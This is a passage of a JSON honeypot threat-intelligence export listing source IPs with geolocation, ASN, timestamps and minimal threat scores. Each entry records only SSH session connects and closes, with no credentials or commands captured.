        "first_seen_30d": "2026-05-23T21:45:30.019000+00:00",
        "last_seen_30d": "2026-05-23T21:46:47.765000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.174.95.80": {
      "attack_count": 2,
      "first_seen": "2026-05-28T03:16:00.925Z",
      "last_seen": "2026-05-28T03:16:13.852Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T03:16:00.925000+00:00",
        "last_seen_30d": "2026-05-28T03:17:14.295000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.100.104.245": {
      "attack_count": 2,
      "first_seen": "2026-05-28T23:30:36.646Z",
      "last_seen": "2026-05-28T23:31:09.968Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 24163,
      "as_org": "UNION BROADBAND NETWORK",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T23:30:36.646000+00:00",
        "last_seen_30d": "2026-05-28T23:32:15.079000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "125.112.43.71": {
      "attack_count": 2,
      "first_seen": "2026-05-30T23:07:06.956Z",
      "last_seen": "2026-05-30T23:07:20.133Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Yiwu",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T23:07:06.956000+00:00",
        "last_seen_30d": "2026-05-30T23:08:21.320000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "154.71.132.83": {
      "attack_count": 2,
      "first_seen": "2026-05-06T05:44:24.937Z",
      "last_seen": "2026-05-06T05:44:39.784Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Angola",
      "country_code": "AO",
      "city": "Luanda",
      "asn": 36907,
      "as_org": "TVCaboAngola",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T05:44:24.937000+00:00",
        "last_seen_30d": "2026-05-06T05:45:40.711000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "161.81.121.122": {
      "attack_count": 2,
      "first_seen": "2026-05-21T19:10:22.663Z",
      "last_seen": "2026-05-21T19:10:36.778Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9231,
      "as_org": "China Mobile Hong Kong Company Limited",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T19:10:22.663000+00:00",
        "last_seen_30d": "2026-05-21T19:11:45.807000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "170.83.116.86": {
      "attack_count": 2,
      "first_seen": "2026-05-24T20:36:52.106Z",
      "last_seen": "2026-05-24T20:38:52.107Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Honduras",
      "country_code": "HN",
      "city": "San Pedro Sula",
      "asn": 271971,
      "as_org": "CABLE SATELITE S.DE R.L. DE C.V.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T20:36:52.106000+00:00",
        "last_seen_30d": "2026-05-24T20:40:01.438000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.232.86.92": {
      "attack_count": 2,
      "first_seen": "2026-05-24T04:42:53.249Z",
      "last_seen": "2026-05-24T04:44:53.255Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Quer\u00e9taro City",
      "asn": 28536,
      "as_org": "Mexico Red de Telecomunicaciones, S. de R.L. de C.V.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T04:42:53.249000+00:00",
        "last_seen_30d": "2026-05-24T04:45:59.246000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.66.243.32": {
      "attack_count": 2,
      "first_seen": "2026-05-16T17:21:05.725Z",
      "last_seen": "2026-05-16T17:21:18.040Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio do Ant\u00f4nio",
      "asn": 53005,
      "as_org": "REDE CONNECT TELECOMUNICACOES LTDA",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T17:21:05.725000+00:00",
        "last_seen_30d": "2026-05-16T17:22:23.773000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "179.191.220.237": {
      "attack_count": 2,
      "first_seen": "2026-05-09T17:42:36.491Z",
      "last_seen": "2026-05-09T17:43:07.794Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 28210,
      "as_org": "GIGA MAIS FIBRA TELECOMUNICACOES S.A.",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T17:42:36.491000+00:00",
        "last_seen_30d": "2026-05-09T17:44:16.915000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "186.16.173.244": {
      "attack_count": 2,
      "first_seen": "2026-05-11T23:21:15.702Z",
      "last_seen": "2026-05-11T23:21:30.679Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Asunci\u00f3n",
      "asn": 23201,
      "as_org": "Telecel S.A.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T23:21:15.702000+00:00",
        "last_seen_30d": "2026-05-11T23:22:33.583000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.218.49.163": {
      "attack_count": 2,
      "first_seen": "2026-05-18T02:48:44.959Z",
      "last_seen": "2026-05-18T02:48:58.566Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Garc\u00eda",
      "asn": 265594,
      "as_org": "Television Internacional, S.A. de C.V.",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T02:48:44.959000+00:00",
        "last_seen_30d": "2026-05-18T02:49:59.306000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.107.122.203": {
      "attack_count": 2,
      "first_seen": "2026-05-08T18:25:11.648Z",
      "last_seen": "2026-05-08T18:25:26.273Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Villa Mercedes",
      "asn": 28015,
      "as_org": "MERCO COMUNICACIONES",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T18:25:11.648000+00:00",
        "last_seen_30d": "2026-05-08T18:26:28.719000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "2.197.32.90": {
      "attack_count": 2,
      "first_seen": "2026-05-27T06:30:10.096Z",
      "last_seen": "2026-05-27T06:30:41.306Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 16232,
      "as_org": "TIM",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T06:30:10.096000+00:00",
        "last_seen_30d": "2026-05-27T06:31:43.526000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "206.135.38.43": {
      "attack_count": 2,
      "first_seen": "2026-05-05T01:21:11.165Z",
      "last_seen": "2026-05-05T01:21:24.870Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "San Crist\u00f3bal de las Casas",
      "asn": 28458,
      "as_org": "IENTC S DE RL DE CV",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:21:11.165000+00:00",
        "last_seen_30d": "2026-05-05T01:22:30.912000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.188.223.49": {
      "attack_count": 2,
      "first_seen": "2026-05-05T05:05:05.945Z",
      "last_seen": "2026-05-05T05:05:19.187Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Ningbo",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T05:05:05.945000+00:00",
        "last_seen_30d": "2026-05-05T05:06:21.438000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.31.109.190": {
      "attack_count": 2,
      "first_seen": "2026-05-05T11:17:06.611Z",
      "last_seen": "2026-05-05T11:17:19.624Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T11:17:06.611000+00:00",
        "last_seen_30d": "2026-05-05T11:18:21.338000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.236.163.233": {
      "attack_count": 2,
      "first_seen": "2026-05-04T14:10:19.587Z",
      "last_seen": "2026-05-04T14:10:31.714Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": null,
      "asn": 203214,
      "as_org": "Hulum Almustakbal Company for Communication Engineering and Services Ltd",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T14:10:19.587000+00:00",
        "last_seen_30d": "2026-05-04T14:11:40.254000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.150.88.201": {
      "attack_count": 2,
      "first_seen": "2026-05-17T00:01:05.114Z",
      "last_seen": "2026-05-17T00:01:18.000Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Porlamar",
      "asn": 272118,
      "as_org": "DATALINK, C.A.",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T00:01:05.114000+00:00",
        "last_seen_30d": "2026-05-17T00:02:19.643000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.139.157.99": {
      "attack_count": 2,
      "first_seen": "2026-05-10T08:55:41.948Z",
      "last_seen": "2026-05-10T08:55:54.953Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 37061,
      "as_org": "Safaricom",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T08:55:41.948000+00:00",
        "last_seen_30d": "2026-05-10T08:57:48.705000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.143.227.82": {
      "attack_count": 2,
      "first_seen": "2026-05-06T03:14:24.592Z",
      "last_seen": "2026-05-06T03:16:24.595Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Rabat",
      "asn": 36903,
      "as_org": "MT-MPLS",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T03:14:24.592000+00:00",
        "last_seen_30d": "2026-05-06T03:27:24.793000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "43.239.72.20": {
      "attack_count": 2,
      "first_seen": "2026-05-03T05:02:10.130Z",
      "last_seen": "2026-05-03T05:02:22.939Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 133443,
      "as_org": "Comilla Online",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T05:02:10.130000+00:00",
        "last_seen_30d": "2026-05-03T05:03:31.641000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "46.172.195.197": {
      "attack_count": 2,
      "first_seen": "2026-05-09T19:21:46.353Z",
      "last_seen": "2026-05-09T19:23:46.355Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Simferopol",
      "asn": 48330,
      "as_org": "Sinev Maksim Viktorovich",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T19:21:46.353000+00:00",
        "last_seen_30d": "2026-05-09T19:33:53.922000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "5.36.202.108": {
      "attack_count": 2,
      "first_seen": "2026-05-18T13:08:47.460Z",
      "last_seen": "2026-05-18T13:09:01.308Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Oman",
      "country_code": "OM",
      "city": "Muscat",
      "asn": 28885,
      "as_org": "Oman Telecommunications Company (S.A.O.G)",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T13:08:47.460000+00:00",
        "last_seen_30d": "2026-05-18T13:10:10.350000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "5.58.42.157": {
      "attack_count": 2,
      "first_seen": "2026-05-11T16:05:39.319Z",
      "last_seen": "2026-05-11T16:05:51.621Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Ternopil",
      "asn": 16223,
      "as_org": "Maxnet Telecom, Ltd",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T16:05:39.319000+00:00",
        "last_seen_30d": "2026-05-11T16:06:59.736000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.47.121.218": {
      "attack_count": 2,
      "first_seen": "2026-05-22T21:30:13.849Z",
      "last_seen": "2026-05-22T21:30:14.705Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T21:30:13.849000+00:00",
        "last_seen_30d": "2026-05-22T21:31:22.955000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "61.28.152.228": {
      "attack_count": 2,
      "first_seen": "2026-05-06T18:20:43.963Z",
      "last_seen": "2026-05-06T18:20:57.469Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Makati City",
      "asn": 9658,
      "as_org": "Eastern Telecoms Phils., Inc.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T18:20:43.963000+00:00",
        "last_seen_30d": "2026-05-06T18:22:03.880000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "82.197.48.108": {
      "attack_count": 2,
      "first_seen": "2026-05-13T21:16:59.788Z",
      "last_seen": "2026-05-13T21:17:12.180Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Riyadh",
      "asn": 43766,
      "as_org": "Mobile Telecommunication Company Saudi Arabia Joint-Stock company",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T21:16:59.788000+00:00",
        "last_seen_30d": "2026-05-13T21:18:20.375000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "82.226.21.14": {
      "attack_count": 2,
      "first_seen": "2026-05-13T20:58:47.598Z",
      "last_seen": "2026-05-13T20:59:00.899Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Montargis",
      "asn": 12322,
      "as_org": "Free SAS",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T20:58:47.598000+00:00",
        "last_seen_30d": "2026-05-13T21:00:02.545000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "85.175.135.6": {
      "attack_count": 2,
      "first_seen": "2026-05-19T17:35:46.458Z",
      "last_seen": "2026-05-19T17:36:00.058Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
